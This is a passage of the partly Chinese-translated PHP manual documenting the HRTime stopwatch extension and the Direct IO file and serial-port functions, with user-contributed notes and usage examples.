简介

The HRTime extension implements a high resolution StopWatch class. It uses the best possible APIs on different platforms which brings resolution up to nanoseconds. It also makes possible to implement a custom stopwatch using low level ticks delivered by the underlying APIs.

Note: As of PHP 7.3.0 the related function hrtime() is part of the core.

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 安装

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/hrtime.

A DLL for this PECL extension is available under » http://windows.php.net/downloads/pecl/releases/hrtime/.

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

The example illustrates the basic StopWatch class usage

Example #1 Measure several code blocks execution and get the total

<?php

$c = new HRTime\StopWatch;

$c->start();
/* measure this code block execution */
for ($i = 0; $i < 1024*1024; $i++);
$c->stop();
$elapsed0 = $c->getLastElapsedTime(HRTime\Unit::NANOSECOND);

/* measurement is not running here*/
for ($i = 0; $i < 1024*1024; $i++);

$c->start();
/* measure this code block execution */
for ($i = 0; $i < 1024*1024; $i++);
$c->stop();
$elapsed1 = $c->getLastElapsedTime(HRTime\Unit::NANOSECOND);

$elapsed_total = $c->getElapsedTime(HRTime\Unit::NANOSECOND);

?>

User Contributed Notes

There are no user contributed notes for this page.


The HRTime\PerformanceCounter class

(PECL hrtime >= 0.4.3)

简介

类摘要

class HRTime\PerformanceCounter {
/* 方法 */
public static getFrequency(): int
public static getTicks(): int
public static getTicksSince(int $start): int
}

Table of Contents

  • HRTime\PerformanceCounter::getFrequency — Timer frequency in ticks per second
  • HRTime\PerformanceCounter::getTicks — Current ticks from the system
  • HRTime\PerformanceCounter::getTicksSince — Ticks elapsed since the given value

User Contributed Notes

There are no user contributed notes for this page.


Timer frequency in ticks per second

  • ? HRTime\PerformanceCounter
  • HRTime\PerformanceCounter::getTicks ?
  • PHP Manual
  • HRTime\PerformanceCounter
  • Timer frequency in ticks per second

HRTime\PerformanceCounter::getFrequency

(PECL hrtime >= 0.4.3)

HRTime\PerformanceCounter::getFrequency — Timer frequency in ticks per second

说明

public static HRTime\PerformanceCounter::getFrequency(): int

Returns the timer frequency in ticks per second. This value is constant after the system start on almost any operating system.

参数

此函数没有参数。

返回值

Returns int indicating the timer frequency.

User Contributed Notes

There are no user contributed notes for this page.


Current ticks from the system

  • ? HRTime\PerformanceCounter::getFrequency
  • HRTime\PerformanceCounter::getTicksSince ?
  • PHP Manual
  • HRTime\PerformanceCounter
  • Current ticks from the system

HRTime\PerformanceCounter::getTicks

(PECL hrtime >= 0.6.0)

HRTime\PerformanceCounter::getTicks — Current ticks from the system

说明

public static HRTime\PerformanceCounter::getTicks(): int

Returns the ticks count.

参数

此函数没有参数。

返回值

Returns int indicating the ticks count.

User Contributed Notes

There are no user contributed notes for this page.


Ticks elapsed since the given value

  • ? HRTime\PerformanceCounter::getTicks
  • HRTime\StopWatch ?
  • PHP Manual
  • HRTime\PerformanceCounter
  • Ticks elapsed since the given value

HRTime\PerformanceCounter::getTicksSince

(PECL hrtime >= 0.6.0)

HRTime\PerformanceCounter::getTicksSince — Ticks elapsed since the given value

说明

public static HRTime\PerformanceCounter::getTicksSince(int $start): int

Returns the ticks count elapsed since the given start value.

参数

start

Starting ticks value.

返回值

Returns int indicating the ticks count.

User Contributed Notes

There are no user contributed notes for this page.


The HRTime\StopWatch class

(PECL hrtime >= 0.4.3)

简介

类摘要

class HRTime\StopWatch extends HRTime\PerformanceCounter {
/* 方法 */
public getElapsedTicks(): int
public getElapsedTime(int $unit = ?): float
public getLastElapsedTicks(): int
public getLastElapsedTime(int $unit = ?): float
public isRunning(): bool
public start(): void
public stop(): void
/* 继承的方法 */
public static HRTime\PerformanceCounter::getFrequency(): int
public static HRTime\PerformanceCounter::getTicks(): int
public static HRTime\PerformanceCounter::getTicksSince(int $start): int
}

Table of Contents

  • HRTime\StopWatch::getElapsedTicks — Get elapsed ticks for all intervals
  • HRTime\StopWatch::getElapsedTime — Get elapsed time for all intervals
  • HRTime\StopWatch::getLastElapsedTicks — Get elapsed ticks for the last interval
  • HRTime\StopWatch::getLastElapsedTime — Get elapsed time for the last interval
  • HRTime\StopWatch::isRunning — 确认测量是否在运行
  • HRTime\StopWatch::start — Start time measurement
  • HRTime\StopWatch::stop — Stop time measurement

User Contributed Notes

There are no user contributed notes for this page.


Get elapsed ticks for all intervals

  • ? HRTime\StopWatch
  • HRTime\StopWatch::getElapsedTime ?
  • PHP Manual
  • HRTime\StopWatch
  • Get elapsed ticks for all intervals

HRTime\StopWatch::getElapsedTicks

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getElapsedTicks — Get elapsed ticks for all intervals

说明

public HRTime\StopWatch::getElapsedTicks(): int

Get elapsed ticks for all the previously closed intervals.

参数

此函数没有参数。

返回值

Returns int indicating elapsed ticks.

User Contributed Notes

There are no user contributed notes for this page.


Get elapsed time for all intervals

  • ? HRTime\StopWatch::getElapsedTicks
  • HRTime\StopWatch::getLastElapsedTicks ?
  • PHP Manual
  • HRTime\StopWatch
  • Get elapsed time for all intervals

HRTime\StopWatch::getElapsedTime

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getElapsedTime — Get elapsed time for all intervals

说明

public HRTime\StopWatch::getElapsedTime(int $unit = ?): float

Get elapsed time for all the previously closed intervals.

参数

unit

Time unit represented by a HRTime\Unit constant. Default is HRTime\Unit::SECOND.

返回值

Returns float indicating elapsed time.

User Contributed Notes

j_jaberi at yahoo dot com 24-Dec-2019 12:05
As not mentioned, if used with invalid unit value, it uses default one:

<?php
        $stopWatch = new HRTime\StopWatch();
        $stopWatch->start();
        for($i=0; $i<10000000; $i++);
        $stopWatch->stop();
        echo $stopWatch->getElapsedTime(-1) . ' - ' .
        $stopWatch->getElapsedTime(0) . ' - ' .
        $stopWatch->getElapsedTime(1) . ' - ' .
        $stopWatch->getElapsedTime(2) . ' - ' .
        $stopWatch->getElapsedTime(3) . ' - ' .
        $stopWatch->getElapsedTime(4);
?>
Outputs soething like:
0.11936771 - 0.11936771 - 119.36771 - 119367.71 - 119367710 - 0.11936771


Get elapsed ticks for the last interval

  • ? HRTime\StopWatch::getElapsedTime
  • HRTime\StopWatch::getLastElapsedTime ?
  • PHP Manual
  • HRTime\StopWatch
  • Get elapsed ticks for the last interval

HRTime\StopWatch::getLastElapsedTicks

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getLastElapsedTicks — Get elapsed ticks for the last interval

说明

public HRTime\StopWatch::getLastElapsedTicks(): int

Get elapsed ticks for the previously closed interval.

参数

此函数没有参数。

返回值

Returns int indicating elapsed ticks.

User Contributed Notes

There are no user contributed notes for this page.


Get elapsed time for the last interval

  • ? HRTime\StopWatch::getLastElapsedTicks
  • HRTime\StopWatch::isRunning ?
  • PHP Manual
  • HRTime\StopWatch
  • Get elapsed time for the last interval

HRTime\StopWatch::getLastElapsedTime

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getLastElapsedTime — Get elapsed time for the last interval

说明

public HRTime\StopWatch::getLastElapsedTime(int $unit = ?): float

Get elapsed time for the previously closed interval.

参数

unit

Time unit represented by a HRTime\Unit constant. Default is HRTime\Unit::SECOND.

返回值

Returns float indicating elapsed time.

User Contributed Notes

There are no user contributed notes for this page.


确认测量是否在运行

  • ? HRTime\StopWatch::getLastElapsedTime
  • HRTime\StopWatch::start ?
  • PHP Manual
  • HRTime\StopWatch
  • 确认测量是否在运行

HRTime\StopWatch::isRunning

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::isRunning — 确认测量是否在运行

说明

public HRTime\StopWatch::isRunning(): bool

显示测量是否已经开始。

参数

此函数没有参数。

返回值

返回 bool 表明测量是否在运行。

User Contributed Notes

There are no user contributed notes for this page.


Start time measurement

  • ? HRTime\StopWatch::isRunning
  • HRTime\StopWatch::stop ?
  • PHP Manual
  • HRTime\StopWatch
  • Start time measurement

HRTime\StopWatch::start

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::start — Start time measurement

说明

public HRTime\StopWatch::start(): void

Starts the time measurement. It has no effect if the measurement was already started. The measurement will be continued if it was previously stopped.

参数

此函数没有参数。

返回值

Returns void.

User Contributed Notes

There are no user contributed notes for this page.


Stop time measurement

  • ? HRTime\StopWatch::start
  • HRTime\Unit ?
  • PHP Manual
  • HRTime\StopWatch
  • Stop time measurement

HRTime\StopWatch::stop

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::stop — Stop time measurement

说明

public HRTime\StopWatch::stop(): void

Stop the time measurement for the previously started interval.

参数

此函数没有参数。

返回值

Returns void.

User Contributed Notes

There are no user contributed notes for this page.


The HRTime\Unit class

(PECL hrtime >= 0.4.3)

简介

类摘要

class HRTime\Unit {
/* 常量 */
const int SECOND = 0;
const int MILLISECOND = 1;
const int MICROSECOND = 2;
const int NANOSECOND = 3;
/* 方法 */
}

预定义常量

HRTime\Unit::SECOND

HRTime\Unit::MILLISECOND

HRTime\Unit::MICROSECOND

HRTime\Unit::NANOSECOND

User Contributed Notes

There are no user contributed notes for this page.


文件系统相关扩展

  • 直接 IO
    • 简介
    • 安装/配置
    • 预定义常量
    • Direct IO 函数
  • 目录
    • 安装/配置
    • 预定义常量
    • Directory — Directory 类
    • 目录函数函数
  • Fileinfo — 文件信息
    • 简介
    • 安装/配置
    • 预定义常量
    • Fileinfo 函数
    • finfo — finfo 类
  • 文件系统
    • 简介
    • 安装/配置
    • 预定义常量
    • 文件系统函数
  • Inotify
    • 简介
    • 安装/配置
    • 预定义常量
    • Inotify 函数
  • xattr
    • 简介
    • 安装/配置
    • 预定义常量
    • xattr 函数
  • xdiff
    • 简介
    • 安装/配置
    • 预定义常量
    • xdiff 函数

User Contributed Notes

There are no user contributed notes for this page.


直接 IO

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Direct IO 函数
    • dio_close — 通过 fd 关闭文件描述符
    • dio_fcntl — 在 fd 上执行 C 标准库的 fcntl
    • dio_open — 在 C 库输入/输出流函数允许的更低级别打开（必要时创建）文件
    • dio_read — 从文件描述符读取字节
    • dio_seek — 在 fd 指定 pos 位置
    • dio_stat — 获取有关文件描述符 fd 的统计信息
    • dio_tcsetattr — 设置串行端口的终端属性和波特率
    • dio_truncate — 截断文件描述符 fd 为 offset 字节
    • dio_write — 截取可选长度的数据写入文件

User Contributed Notes

There are no user contributed notes for this page.


简介

PHP 支持 POSIX 标准（第 6 节）中所描述的直接 IO 函数，执行比 C 语言 I/O 流函数（fopen()、fread()......）更低级别的 I/O 函数。当仅需要直接控制设备时，才考虑使用 DIO 函数。通常情况下，标准的 filesystem 函数已经足够了。

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/dio.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

There are no user contributed notes for this page.


资源类型

此扩展定义了一种资源类型：dio_open() 返回的文件描述符。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

F_DUPFD (int)

F_GETFD (int)

F_GETFL (int)

F_GETLK (int)

F_GETOWN (int)

F_RDLCK (int)

F_SETFL (int)

F_SETLK (int)

F_SETLKW (int)

F_SETOWN (int)

F_UNLCK (int)

F_WRLCK (int)

O_APPEND (int)

O_ASYNC (int)

O_CREAT (int)

O_EXCL (int)

O_NDELAY (int)

O_NOCTTY (int)

O_NONBLOCK (int)

O_RDONLY (int)

O_RDWR (int)

O_SYNC (int)

O_TRUNC (int)

O_WRONLY (int)

S_IRGRP (int)

S_IROTH (int)

S_IRUSR (int)

S_IRWXG (int)

S_IRWXO (int)

S_IRWXU (int)

S_IWGRP (int)

S_IWOTH (int)

S_IWUSR (int)

S_IXGRP (int)

S_IXOTH (int)

S_IXUSR (int)

User Contributed Notes

There are no user contributed notes for this page.


Direct IO 函数

Table of Contents

  • dio_close — 通过 fd 关闭文件描述符
  • dio_fcntl — 在 fd 上执行 C 标准库的 fcntl
  • dio_open — 在 C 库输入/输出流函数允许的更低级别打开（必要时创建）文件
  • dio_read — 从文件描述符读取字节
  • dio_seek — 在 fd 指定 pos 位置
  • dio_stat — 获取有关文件描述符 fd 的统计信息
  • dio_tcsetattr — 设置串行端口的终端属性和波特率
  • dio_truncate — 截断文件描述符 fd 为 offset 字节
  • dio_write — 截取可选长度的数据写入文件

User Contributed Notes

php dot 5 dot gavinostlund at spamgourmet dot com 07-Dec-2007 04:36
You can manually build the dio extension for your version of PHP, or install an older version of PHP that still bundled dio.  It's not that hard to build it yourself, just a bit of a process, and it helps if you're on linux, and have a build environment... which I would assume you have if you are doing some kind of development that requires direct device I/O...  Just get the dio source from the cvs repo, compile it, and then add the extension to your php configuration...
tom at bitworks dot de 03-Nov-2007 05:41
to use mandatory locking on a linux system, the filesystem has to be well prepared.

# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>               <dump>  <pass>
/dev/hda1       /               ext3    errors=remount-ro,mand  0       1
/dev/hda2       none            swap    sw                      0       0
proc            /proc           proc    defaults                0       0
/dev/fd0        /floppy         auto    user,noauto             0       0
/dev/cdrom      /cdrom          iso9660 ro,user,noauto          0       0

For example here the ext3 partition has been prepared for mandatory locking. Otherwise no dio_function will work on the system.
richard d_0t cubek a_t example D0_t com 25-Sep-2007 01:13
IMPORTANT:

--enable-dio is NOT recognized as an option. After reporting a bug, i got following answer:

It is not bundled anymore. See http://pecl.php.net/dio to fetch the CVS version (being unmaintained, there is no release in pecl). Not a bug > bogus.


通过 fd 关闭文件描述符

  • ? Direct IO 函数
  • dio_fcntl ?
  • PHP Manual
  • Direct IO 函数
  • 通过 fd 关闭文件描述符

dio_close

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_close — 通过 fd 关闭文件描述符

说明

dio_close(resource $fd): void

dio_close() 函数关闭 fd 文件描述符。

参数

fd

dio_open() 返回的文件描述符。

返回值

没有返回值。

示例

Example #1 关闭文件描述符

<?php
$fd = dio_open('/dev/ttyS0', O_RDWR);

dio_close($fd);
?>

参见

  • dio_open() - 在 C 库输入/输出流函数允许的更低级别打开（必要时创建）文件

User Contributed Notes

There are no user contributed notes for this page.


在 fd 上执行 C 标准库的 fcntl

  • ? dio_close
  • dio_open ?
  • PHP Manual
  • Direct IO 函数
  • 在 fd 上执行 C 标准库的 fcntl

dio_fcntl

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_fcntl — 在 fd 上执行 C 标准库的 fcntl

说明

dio_fcntl(resource $fd, int $cmd, mixed $args = ?): mixed

dio_fcntl() 函数在 fd 文件描述符上执行 cmd 指定的操作。一些命令需要提供额外的 args 参数。

参数

fd

dio_open() 返回的文件描述符。

cmd

可以是以下操作：

  • F_SETLK - 设置或清除锁。如果其他人持有锁 dio_fcntl() 返回 -1。

  • F_SETLKW - 和 F_SETLK 相似，但如果其他人持有锁，dio_fcntl() 等待锁释放。

  • F_GETLK - 如果其他人阻止锁定，dio_fcntl() 返回关联数组（如下所述）。如果没有阻塞，键"type"将设置为 F_UNLCK。

  • F_DUPFD - 查找大于或等于 args 的最小可用文件描述符，并将其返回。

  • F_SETFL - 设置 args 指定的文件描述符标志。可以是 O_APPEND、O_NONBLOCK 或 O_ASYNC。要使用 O_ASYNC 需要依赖 PCNTL 扩展。

args

当 cmd 是 F_SETLK 或 F_SETLLW 时，args 是包含以下键的关联数组：

  • start - 开始锁定的偏移

  • length - 锁定区域大小。0 代表文件结尾

  • whence - l_start 的相对位置可以是：SEEK_SET、SEEK_END 和 SEEK_CUR

  • type - 锁类型：可以是 F_RDLCK （读锁），F_WRLCK（写锁）或 F_UNLCK （解锁）。

返回值

返回 C 调用的结果。

示例

Example #1 设置并清除锁

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR);

if (dio_fcntl($fd, F_SETLK, Array("type"=>F_WRLCK)) == -1) {
// the file descriptor appears locked
echo "The lock can not be cleared. It is held by someone else.";
} else {
echo "Lock successfully set/cleared";
}

dio_close($fd);
?>

注释

Note: 此函数未在 Windows 平台下实现。

User Contributed Notes

Guillermo Prandi 11-Jun-2013 11:52
Actually, there's a small typo in the above docs. The parameter for where l_start is relative to is actually "whence" and not "wenth" like stated.


在 C 库输入/输出流函数允许的更低级别打开（必要时创建）文件

  • ? dio_fcntl
  • dio_read ?
  • PHP Manual
  • Direct IO 函数
  • 在 C 库输入/输出流函数允许的更低级别打开（必要时创建）文件

dio_open

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_open — 在 C 库输入/输出流函数允许的更低级别打开（必要时创建）文件

说明

dio_open(string $filename, int $flags, int $mode = 0): resource

dio_open() 打开文件并返回新的文件描述符。

参数

filename

要打开的文件路径。

flags

flags 参数是按位或运算值，包含以下列表的标志。 必须包含 O_RDONLY、O_WRONLY 或 O_RDWR 中的一个。此外，可以包含此列表中其它标志的任意组合。

  • O_RDONLY - 打开文件读访问。

  • O_WRONLY - 打开文件写访问。

  • O_RDWR - 打开文件读写。

  • O_CREAT - 如果文件不存在，创建文件。

  • O_EXCL - 如果同时设置了 O_CREAT 和 O_EXCL，并且文件已存在，dio_open() 将执行失败。

  • O_TRUNC - 如果文件存在且已打开写访问，将会被截断到 0 长度。

  • O_APPEND - 写操作在文件末尾写数据。

  • O_NONBLOCK - 设置非阻塞模式。

  • O_NOCTTY - 防止操作系统在打开 TTY 设备文件时将文件指定为进程的控制终端。

mode

如果 flags 包含 O_CREAT，mode 将设置文件权限（创建权限）。当 flags 指定了 O_CREAT 标志时，需要 mode 才能正确操作，否则将会被忽略。

分配给创建文件的实际权限照例受到进程的 umask 设置的影响。

返回值

文件描述符，错误时是 false。

示例

Example #1 打开文件描述符

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR | O_NOCTTY | O_NONBLOCK);

dio_close($fd);
?>

参见

  • dio_close() - 通过 fd 关闭文件描述符

User Contributed Notes

Anonymous 08-Apr-2012 02:12
"The prominent reason" to use direct I/O is when your application provides its own cache feature, so you won't do double caching
Marius Karthaus 03-Mar-2010 12:02
One of the prominent reasons to use direct IO, is for it's ability to do actual direct IO, bypassing the operating system cache and getting the data from the disk directly.
The flag to do that (O_DIRECT) is missing from the documentation above. Maybe for good reasons, because this type of IO only works on blockdevices, not on files, and should only be used if you are **really** sure what you are doing.
j at pureftpd dot org 23-Jan-2005 04:13
Please note that dio_open()/dio_write()/dio_close() is *faster* than fopen()/fwrite()/fclose() for files.

fwrite() has to manage a 8k buffer, while dio_write() just issue a single write(). The end result is less system calls and less memory access.

Also, giving the full size to write() as with dio_write() let filesystems properly use preallocation in order to avoid fragmentation.
alla at cyber dot com dot au 22-Mar-2003 07:16
To specify a combination of flags you OR them together.
This was the only way I could get it to append:

$fd = dio_open($file, O_WRONLY | O_APPEND);


从文件描述符读取字节

  • ? dio_open
  • dio_seek ?
  • PHP Manual
  • Direct IO 函数
  • 从文件描述符读取字节

dio_read

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_read — 从文件描述符读取字节

说明

dio_read(resource $fd, int $len = 1024): string

dio_read() 函数读取并返回描述符 fd 指定文件中的 len 字节。

参数

fd

由 dio_open() 返回的文件描述符。

len

要读取的字节数。如果未指定，dio_read() 读取 1K 大小的块。

返回值

从 fd 读取的字节。

参见

  • dio_write() - 截取可选长度的数据写入文件

User Contributed Notes

alban 29-Jun-2009 05:58
I am using dio functions on windows to read RS232 port.
I can read/write but it seems that the write function cannot be binary.

In particular:
dio_write($com1,chr(10),1); will result in writing 2 bytes 0D 0A be cause \n is translated to \r\n. I have not found any way to overcome this limitation so far
matt at vhub dot com 18-May-2006 07:48
Note that dio_read on Windows (other platforms unknown) will not timeout if there is no data to read. There is no way to specify a timeout or do a non-blocking read on Windows.


在 fd 指定 pos 位置

  • ? dio_read
  • dio_stat ?
  • PHP Manual
  • Direct IO 函数
  • 在 fd 指定 pos 位置

dio_seek

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_seek — 在 fd 指定 pos 位置

说明

dio_seek(resource $fd, int $pos, int $whence = SEEK_SET): int

函数 dio_seek() 用于更改给定文件描述符的文件当前读/写位置。

参数

fd

由 dio_open() 返回的文件描述符。

pos

新位置。

whence

指定如何解释 pos 的位置：

  • SEEK_SET （默认）- 从文件开头指定 pos。

  • SEEK_CUR - 指定 pos 是从文件当前位置计算的字符数。数量可以是正数或负数。

  • SEEK_END - 指定 pos 是从文件结尾计算的字符数。负数指定文件当前范围内的位置；正数指定超过当前末端的位置。 如果将位置设置为超过当前末尾并写入数据，将用零将文件扩展到该位置。

返回值

示例

Example #1 在文件中定位

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR);

dio_seek($fd, 10, SEEK_SET);
// position is now at 10 characters from the start of the file

dio_seek($fd, -2, SEEK_CUR);
// position is now at 8 characters from the start of the file

dio_seek($fd, -5, SEEK_END);
// position is now at 5 characters from the end of the file

dio_seek($fd, 10, SEEK_END);
// position is now at 10 characters past the end of the file.
// The 10 characters between the end of the file and the current
// position are filled with zeros.

dio_close($fd);
?>

User Contributed Notes

There are no user contributed notes for this page.


获取有关文件描述符 fd 的统计信息

  • ? dio_seek
  • dio_tcsetattr ?
  • PHP Manual
  • Direct IO 函数
  • 获取有关文件描述符 fd 的统计信息

dio_stat

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_stat — 获取有关文件描述符 fd 的统计信息

说明

dio_stat(resource $fd): array

dio_stat() 返回有关文件描述符的信息。

参数

fd

由 dio_open() 返回的文件描述符。

返回值

返回带有以下键的关联数组：

  • "device" - 设备

  • "inode" - inode

  • "mode" - 模式

  • "nlink" - 硬链接数

  • "uid" - 用户 id

  • "gid" - 组 id

  • "device_type" - 设备类型（如果是 inode 设备）

  • "size" - 字节总大小

  • "blocksize" - 块大小

  • "blocks" - 分配的块个数

  • "atime" - 最后访问时间

  • "mtime" - 最后修改时间

  • "ctime" - 最后变更时间

错误时 dio_stat() 返回 null。

User Contributed Notes

There are no user contributed notes for this page.


设置串行端口的终端属性和波特率

  • ? dio_stat
  • dio_truncate ?
  • PHP Manual
  • Direct IO 函数
  • 设置串行端口的终端属性和波特率

dio_tcsetattr

(PHP 4 >= 4.3.0, PHP 5 < 5.1.0)

dio_tcsetattr — 设置串行端口的终端属性和波特率

说明

dio_tcsetattr(resource $fd, array $options): bool

dio_tcsetattr() 为打开的 fd 设置串行端口的终端属性和波特率。

参数

fd

由 dio_open() 返回的文件描述符。

options

当前可用选项：

  • 'baud' - 端口波特率 - 可以是 38400、19200、9600、4800、2400、1800、1200、600、300、200、150、134、110、75 或 50，默认为 9600。

  • 'bits' - 数据位 - 可以是 8、7、6 或 5。默认为 8。

  • 'stop' - 停止位 - 可以是 1 或 2。默认为 1。

  • 'parity' - 可以是 0、1 或 2。默认是 0。

返回值

没有返回值。

示例

Example #1 在串口上设置波特率

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR | O_NOCTTY | O_NONBLOCK);

dio_fcntl($fd, F_SETFL, O_SYNC);

dio_tcsetattr($fd, array(
'baud' => 9600,
'bits' => 8,
'stop' => 1,
'parity' => 0
));

while (1) {

$data = dio_read($fd, 256);

if ($data) {
echo $data;
}
}

?>

注释

Note: 此函数未在 Windows 平台下实现。

User Contributed Notes

daniel widyanto (kunilkuda at gmail dot com) 30-Jun-2005 06:34
I'm using PHP to interface my AVR microcontroller in /dev/ttyS0. I bet someone else does the same.

Here's some hint :
- dio_tcsetattr -> is set to enable :
            - RTS / CTS hardware control
            - ICANON mode
              (means that dio_read will wait until 0x0A/LF or other control character is entered in /dev/ttyS0 before it returns reading result, when you use dio_write it will also send 0x0A/LF automatically in the end of the message to your device).

For those who dont need RTS/CTS and/or ICANON, you can use linux command : stty.

Here's mine :

<?php
        exec('stty -F /dev/ttyS0 4800 raw');

        $fd=dio_open('/dev/ttyS0',O_RDWR | O_NOCTTY | O_NDELAY);
        dio_fcntl($fd,F_SETFL,0);

        dio_write($fd,"\x41",1);  // write 0x41 or 'A' to /dev/ttyS0

        // Replace result_length with your expected command result length
        for ($i=0;$i < result_length;$i++) {
               $result .=dio_read($fd, 1);
        }
        echo $result;
?>

Refer to :
- Serial Programming Guide for POSIX Operating Systems, http://www.easysw.com/~mike/serial/
- stty man pages
fherrero at noticiasdenavarra dot com 01-Apr-2005 04:30
For Windows the Example 1 looks same this one:

<?php

exec('mode com1: baud=9600 data=8 stop=1 parity=n xon=on');
// execute 'help mode' in command line of Windows for help

$fd = dio_open('com1:', O_RDWR);

while (1) {

  $data = dio_read($fd, 256);

  if ($data) {
     echo $data;
  }
}

?>
healer at colorado dot edu 19-Jul-2003 03:37
It was frustrating at first because I was trying to get my Linux box to talk to an external serial device (a PIC18F452 programmable chip) and the example provided here refers to fcntl() and open() parameters that aren't in the PHP documentation.

I finally found out what does what through the man pages:

man open
man fcntl

still haven't gotten it to work, or how to reset the ttySx, but thought it may help someone...


截断文件描述符 fd 为 offset 字节

  • ? dio_tcsetattr
  • dio_write ?
  • PHP Manual
  • Direct IO 函数
  • 截断文件描述符 fd 为 offset 字节

dio_truncate

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_truncate — 截断文件描述符 fd 为 offset 字节

说明

dio_truncate(resource $fd, int $offset): bool

dio_truncate() 将文件截断为最多 offset 字节的大小。

如果先前的文件大于此大小，则额外的数据将丢失。如果先前的文件较小，不确定是保持文件不变还是扩展文件。在后一种情况下，扩展部分读取为零字节。

参数

fd

由 dio_open() 返回的文件描述符。

offset

偏移字节。

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Note: 此函数未在 Windows 平台下实现。

User Contributed Notes

There are no user contributed notes for this page.


截取可选长度的数据写入文件

  • ? dio_truncate
  • 目录 ?
  • PHP Manual
  • Direct IO 函数
  • 截取可选长度的数据写入文件

dio_write

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_write — 截取可选长度的数据写入文件

说明

dio_write(resource $fd, string $data, int $len = 0): int

dio_write() 从 data 写入至多 len 字节数据到文件 fd。

参数

fd

由 dio_open() 返回的文件描述符。

data

写入的数据。

len

从数据中写入的字节长度。如果没有指定，函数将所有数据写入指定的文件。

返回值

返回写入 fd 的字节数。

参见

  • dio_read() - 从文件描述符读取字节

User Contributed Notes

There are no user contributed notes for this page.


目录

  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Directory — Directory 类
    • Directory::close — 关闭目录句柄
    • Directory::read — 从目录句柄中读取条目
    • Directory::rewind — 倒回目录句柄
  • 目录函数函数
    • chdir — 改变目录
    • chroot — 改变根目录
    • closedir — 关闭目录句柄
    • dir — 返回一个 Directory 类实例
    • getcwd — 取得当前工作目录
    • opendir — 打开目录句柄
    • readdir — 从目录句柄中读取条目
    • rewinddir — 倒回目录句柄
    • scandir — 列出指定路径中的文件和目录

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

DIRECTORY_SEPARATOR (string)
PATH_SEPARATOR (string)
Windows 上使用分号，除此之外使用冒号。
SCANDIR_SORT_ASCENDING (int)
SCANDIR_SORT_DESCENDING (int)
SCANDIR_SORT_NONE (int)

User Contributed Notes

-> Anonymous user 07-May-2019 06:21
<?php
class RegisterController extends Controller{
    /*
    |--------------------------------------------------------------------------
    | Register Controller
    |--------------------------------------------------------------------------
    |
    | This controller handles the registration of new users as well as their
    | validation and creation. By default this controller uses a trait to
    | provide this functionality without requiring any additional code.
    |
    */

    use RegistersUsers;

    /**
     * Where to redirect users after registration.
     *
     * @var string
     */
    protected $redirectTo = '/home';

    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        $this->middleware('guest');
    }

    /**
     * Get a validator for an incoming registration request.
     *
     * @param  array  $data
     * @return \Illuminate\Contracts\Validation\Validator
     */
    protected function validator(array $data)
    {
        return Validator::make($data, [
            'name' => 'required|string|max:255',
            'email' => 'required|string|email|max:255|unique:users',
            'password' => 'required|string|min:6|confirmed',
        ]);
    }

    /**
     * Create a new user instance after a valid registration.
     *
     * @param  array  $data
     * @return \App\User
     */
    protected function create(array $data)
    {
        return User::create([
            'name' => $data['name'],
            'email' => $data['email'],
            'password' => bcrypt($data['password']),
        ]);
    }
}
?>

Result:

Success
Anonymous 08-Mar-2014 03:04
In PHP 5.6 you can make a variadic function.

<?php
/**
 * Builds a file path with the appropriate directory separator.
 * @param string $segments,... unlimited number of path segments
 * @return string Path
 */
function file_build_path(...$segments) {
    return join(DIRECTORY_SEPARATOR, $segments);
}

file_build_path("home", "alice", "Documents", "example.txt");
?>

In earlier PHP versions you can use func_get_args.

<?php
function file_build_path() {
    return join(DIRECTORY_SEPARATOR, func_get_args($segments));
}

file_build_path("home", "alice", "Documents", "example.txt");
?>
Anonymous 29-Sep-2013 04:09
For my part I'll continue to use this constant because it seems more future safe and flexible, even if Windows installations currently convert the paths magically. Not that syntax aesthetics matter but I think it can be made to look attractive:

<?php
$path = join(DIRECTORY_SEPARATOR, array('root', 'lib', 'file.php');
?>


Directory 类

(PHP 4, PHP 5, PHP 7, PHP 8)

简介

Directory 实例是通过调用 dir() 函数创建的，而不是 new 操作符。

类摘要

class Directory {
/* 属性 */
public readonly string $path;
public readonly resource $handle;
/* 方法 */
public close(): void
public read(): string|false
public rewind(): void
}

属性

path

被打开目录的地址。

handle

目录句柄。可以被其他的目录操作函数使用，例如 readdir()、rewinddir() 和 closedir()。

更新日志

版本 | 说明
